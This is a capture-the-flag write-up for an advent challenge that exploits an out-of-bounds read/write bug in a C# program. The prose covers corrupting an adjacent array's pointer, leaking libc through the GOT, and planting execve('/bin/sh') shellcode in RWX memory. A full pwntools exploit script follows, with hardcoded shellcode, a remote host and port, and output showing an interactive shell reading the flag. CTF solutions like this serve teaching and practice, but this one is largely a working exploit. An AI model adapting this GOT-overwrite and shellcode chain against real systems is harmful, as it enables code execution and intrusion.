day 8 - Unmanaged
On the 8th day of advent @rchpmv gave to meee, a c# pwnable with no bi-na-ryyy
- Download: naughty_or_nice_v2.tar.gz
Writeup
If we examine the provided C# program source we learn that we're thrown into an endless loop accepting a few different actions:
- Action 1 allows us to allocate a new
FastByteArray
of a given (0-255) length. - Action 2 allows us to write into an existing
FastByteArray
at a given (0-255) offset. - Action 3 allows us to read from an existing
FastByteArray
at a given (0-255) offset.
The bug here is that reading/writing from an exsiting FastByteArray
does not take into account the original size
of this FastByteArray
. So we have an OOB access with a limited reach.
By playing around a bit with the target (Docker) environment we learnt that if we allocate three FastByteArray
's with a size of 0x10
, the second and third end up in close (enough) proximity in memory. By writing out of bounds to the second FastByteArray
we can corrupt the metadata of the third FastByteArray
. This allows us to overwrite the pointer to the backing buffer of the third FastByteArray
. Essentially, this gives us an arbitrary read and write primitve by first overwriting this pointer to a location of our liking, and then issueing read/write operations on the third FastByteArray
.
So we have an arbitrary read/write primitive, thats great news. Where do we go from here? Let's start by defeating ASLR. Since we're not dealing with a PIC/PIE binary we have the .got(.plt) at a fixed location. By leaking a .got.plt entry for a known function and subtracting a fixed delta (since we have the Docker image we known exactly which version of libc is being used) we can calculate the base address of libc.
Next, we rely on a little (known) fact that even though the address space is randomized, once we manage to get one shared library's base address, we can calculate the base address of any other shared library by adding/subtracting a delta that never changes. We use this to calculate the base address of System.Native.so
, one of the dotnet runtime's shared libraries which is called when libc's read()
or write()
are being invoked by the .NET program. We overwrite the .got.plt entry for write
, so that upon the next read
action (which will write() to stdout) we hijack the Program Counter and can jump to any location we want.
Where to jump though? We had issues getting the stars to align so the constraints of the one_gadget
technique were satisfied.. so we had to find a different (single-shot) method. Luckily, the dotnet runtime leaves some memory pages that are marked as RWX around. By (again) leveraging the fixed delta between ASLR'd page we can deduce where those are in memory. We use our arbitrary write to write some simple execve("/bin/sh") shellcode into a RWX page, and point PC there..
What remains is a nice interactive shell, success! :-)
Without further ado, the full exploit:
Exploit
Hacky, as per usual :-)
#!/usr/bin/python
from pwn import *
def new(size):
return "\x01" + chr(size & 0xff)
def fill(idx, offset, size, data):
o = "\x03"
o += chr(idx & 0xff)
o += chr(offset & 0xff)
o += chr(size & 0xff)
o += data
return o
def read(idx, offset, size):
o = "\x02"
o += chr(idx & 0xff)
o += chr(offset & 0xff)
o += chr(size & 0xff)
return o
def leak64(addr):
global c
c.write(fill(1, 0x60, 0x8, struct.pack("<Q", addr - 0x10)))
c.write(read(2, 0x00, 0x8))
d = ""
while len(d) < 0x08:
d += c.read(1)
return struct.unpack("<Q", d)[0]
def write64(addr, val):
global c
c.write(fill(1, 0x60, 0x8, struct.pack("<Q", (addr - 0x10))))
c.write(fill(2, 0, 0x8, struct.pack("<Q", val)))
def write_data(addr, data):
global c
c.write(fill(1, 0x60, 0x8, struct.pack("<Q", (addr - 0x10))))
c.write(fill(2, 0, len(data), data))
#c = process("./bin/Release/netcoreapp3.0/pwn2")
#lib_delta = 0x3e31000
#rwx_delta = 0x3467000
c = remote("3.93.128.89", 1208)
lib_delta = 0x3e32000
rwx_delta = 0x3468000
c.write(new(0x10))
c.write(new(0x10))
c.write(new(0x10))
# GET LIBC BASE
fopen_libc = leak64(0x6140c8)
fopen_delta = 0x701e0
print "fopen@libc : %016x" % (fopen_libc)
libc_base = fopen_libc - fopen_delta
print "libc base : %016x" % (libc_base)
stack_addr = leak64(libc_base + 0x1bc508)
print "stack addr : %016x" % (stack_addr)
system_native_base = libc_base - lib_delta
print "System.Native : %016x" % (system_native_base)
system_native_got = system_native_base + 0x20f000
print "System.NativeG: %016x" % (system_native_got)
gotleak = leak64(system_native_got + 0xb0)
print "LEAKY : %016x" % (gotleak)
rwx_base = system_native_base + rwx_delta
print "RWX BASE : %016x" % (rwx_base)
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
write_data(rwx_base, shellcode)
# stomp write@plt
write64(system_native_got + 0xb0, rwx_base)
# trigger write@plt
c.write(read(1, 0, 0x10))
c.interactive()
Running it yields us our flag.
[+] Opening connection to 3.93.128.89 on port 1208: Done
fopen@libc : 00007f6bd7df21e0
libc base : 00007f6bd7d82000
stack addr : 00007ffd22254e74
System.Native : 00007f6bd3f50000
System.NativeG: 00007f6bd415f000
LEAKY : 00007f6bd827a460
RWX BASE : 00007f6bd73b8000
[*] Switching to interactive mode
$ id
uid=8888(ctf) gid=8888(ctf) groups=8888(ctf)
$ ls
flag.txt
$ cat flag.txt
AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}
Flag
AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}